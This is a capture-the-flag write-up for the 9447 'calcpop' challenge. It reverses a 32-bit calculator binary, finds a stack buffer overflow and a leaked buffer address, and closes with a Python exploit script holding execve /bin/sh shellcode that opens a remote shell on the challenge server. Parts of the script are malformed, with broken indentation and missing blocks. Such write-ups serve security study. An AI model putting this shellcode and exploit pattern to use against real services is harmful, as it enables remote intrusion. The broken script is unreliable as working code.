The challenge description was: See if you can pop this calc. Running at port 9447

A binary file with the name calcpop was provided:

mrt:~/ctf/9447-15/exploit/calcpop$ file calcpop
calcpop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/, for GNU/Linux 2.6.24,
BuildID[sha1]=3b0773c4d23785ef3daae0b3a3505d8fa41403af, not stripped

mrt:~/ctf/9447-15/exploit/calcpop$ strings calcpop
Welcome to calc.exe
Type 'exit' to exit.
%d + %d = %d
Type two numbers and I will calculate their sum
Missing a space; your input was %p
Mes5 wi+h the b3st, d1e l1k3 the rest

We can spot a quote from the movie Hackers in the binary strings, could be a hint telling us what to follow. Let's try the binary and see what happens:

mrt:~/ctf/9447-15/exploit/calcpop$ ./calcpop
Welcome to calc.exe
Type 'exit' to exit.
Type two numbers and I will calculate their sum
1 2
1 + 2 = 3
Missing a space; your input was 0xffb92910

Using invalid input gives us a huge help from the binary, a pointer to our buffer. The Hackers quote cannot be found anywhere though, let's run objdump:

mrt:~/ctf/9447-15/exploit/calcpop$ objdump -M intel -d ./calcpop > dump

mrt:~/ctf/9447-15/exploit/calcpop$ less dump
 804856a:       89 c7                   mov    edi,eax
 804856c:       e8 df fe ff ff          call   8048450 <strtol@plt>
 8048571:       89 7c 24 04             mov    DWORD PTR [esp+0x4],edi
 8048575:       c7 04 24 4e 88 04 08    mov    DWORD PTR [esp],0x804884e
 804857c:       8d 34 07                lea    esi,[edi+eax*1]
 804857f:       89 74 24 0c             mov    DWORD PTR [esp+0xc],esi
 8048583:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048587:       e8 54 fe ff ff          call   80483e0 <printf@plt>
 804858c:       81 fe 37 13 03 00       cmp    esi,0x31337               ; 0x31337 = 201527
 8048592:       74 79                   je     804860d <main+0x1ad>
 804860d:       c7 04 24 b0 88 04 08    mov    DWORD PTR [esp],0x80488b0 ; Hackers quote
 8048614:       e8 e7 fd ff ff          call   8048400 <puts@plt>
 8048619:       eb 98                   jmp    80485b3 <main+0x153>      ; breaks loop and exit
 80485b3:       8d 65 f4                lea    esp,[ebp-0xc]
 80485b6:       31 c0                   xor    eax,eax
 80485b8:       5b                      pop    ebx
 80485b9:       5e                      pop    esi
 80485ba:       5f                      pop    edi
 80485bb:       5d                      pop    ebp
 80485bc:       c3                      ret

So this is how we get the Hackers quote, we have to make the sum equal to 0x31337 (201527) and it will break out of the loop and stop the program from making more input requests. Let's quickly verify this:

mrt:~/ctf/9447-15/exploit/calcpop$ ./calcpop
Welcome to calc.exe
201526 1
201526 + 1 = 201527
Mes5 wi+h the b3st, d1e l1k3 the rest


We found a way to trigger the quote and break out of the loop, in the dump we can also see that esi is often set to 0x100 (256) then slowly decremented until equal to 1.

 80484c5:       88 07                   mov    BYTE PTR [edi],al      ; store character into buffer
 80484c7:       83 ee 01                sub    esi,0x1                ; esi - 1 (original value was set to 0x100)
 80484ca:       83 c7 01                add    edi,0x1                ; next character index
 80484cd:       83 f8 0a                cmp    eax,0xa                ; is current character newline ?
 80484d0:       0f 84 ca 00 00 00       je     80485a0 <main+0x140>
 80484d6:       83 fe 01                cmp    esi,0x1                ; is esi == 1 ?
 80484d9:       77 d5                   ja     80484b0 <main+0x50>
 80484db:       85 f6                   test   esi,esi                ; is esi == 0 ?
 80484dd:       0f 85 bd 00 00 00       jne    80485a0 <main+0x140>

How much space was allocated for our buffer though?

   0x0804846e <+14>:    sub    esp,0x90
   0x08048481 <+33>:    lea    ebx,[esp+0x10]   ; address of our buffer into ebx = 0x90 - 0x10 = 128bytes
   0x0804848d <+45>:    mov    edi,ebx          ; move buffer address into edi

It seems that edi shouldn't exceed 0x80 (128) bytes passed our buffer address, but it in fact goes twice that length allowing us to overwrite values and pointers onto the stack.

mrt:~/ctf/9447-15/exploit/calcpop$ python -c 'print "1"*0x100' | ./calcpop
Welcome to calc.exe
Missing a space; your input was 0xfff5b660
Missing a space; your input was 0xfff5b660
Segmentation fault
mrt:~/ctf/9447-15/exploit/calcpop$ python -c 'print "1"*256' > args

mrt:~/ctf/9447-15/exploit/calcpop$ gdb ./calcpop
Reading symbols from ./calcpop...done.
gdb$ r < args
Starting program: /home/mrt/ctf/9447-15/exploit/calcpop/calcpop < args
Welcome to calc.exe
Missing a space; your input was 0xffffd620
Missing a space; your input was 0xffffd620

Program received signal SIGSEGV, Segmentation fault.
  EAX: 0x00000000  EBX: 0x31313131  ECX: 0xF7FC68A4  EDX: 0xFFFFFFFF  o d I t s Z a P c
  ESI: 0x31313131  EDI: 0x31313131  EBP: 0x31313131  ESP: 0xFFFFD6C0  EIP: 0x31313131
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002BError while running hook_stop:
Cannot access memory at address 0x31313131
0x31313131 in ?? ()

We can control eip and this is where the quote from the movie Hackers makes sense, if we overflow during runtime nothing happens until we exit the program. Exiting the program won't let us exploit it properly, but using the magic value and breaking from the main loop will allow us to keep stdin for example if our exploit is a /bin/sh payload.

What we need to do is:

  • make an invalid input to get the address of our buffer
  • give an input consisting of 3 values
    • two numbers with a sum equal to 0x31337 (201527) to break from the loop
    • a third value will be our /bin/sh payload followed by a series of 0x90 (nop) up until we can rewrite eip
    • the value overwriting eip must be our buffer address + the number of bytes we wrote to make the sum of 0x31337

This is the python script I ended up making:

#!/usr/bin/env python

import sys, socket, struct

HOST = sys.argv[1]
PORT = int(sys.argv[2])
ADDR = 0
MSG  = "Missing a space; your input was "
SHEL = "1 201526 \x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"
SHEL+= "\x90" * 0x77
INP  = ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
        data = s.recv(256)[:-1]
                for line in data.split("\n"):
                        print line
                        if ("Welcome to " in line):
                        elif (ADDR == 0) and (MSG in line):
                                ADDR = int(line.split(" ").pop(), 16)
                                print "[+] ADDRESS: {:02X}".format(ADDR)
                                TMP = struct.pack('<I', ADDR + 9)
                                SHEL += TMP*2
                                print "[+] SHELLCODE: \\x{}".format("\\x".join("{:02x}".format(ord(c)) for c in SHEL))
                                s.send(SHEL + TMP + TMP + "\n")
                                data = s.recv(256)[:-1]
                                while 1:
                                        data = s.recv(256)[:-1]
                                        print data + "\n"
                                        INP = raw_input("$ ")
                                        s.send(INP + "\n")
                                        if INP == "exit":
        except Exception as e:
                print "[!] {}".format(e)
mrt:~/ctf/9447-15/exploit/calcpop$ ./ 9447
Welcome to calc.ex

Missing a space; your input was 0xff81e440
[+] ADDRESS: FF81E440
[+] SHELLCODE:  \x31\x20\x32\x30\x31\x35\x32\x36\x20\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73
Mes5 wi+h the b3st, d1e l1k3 the rest

$ ls

$ cat flag.txt

$ exit


We got our flag: 9447{shELl_i5_easIEr_thaN_ca1c}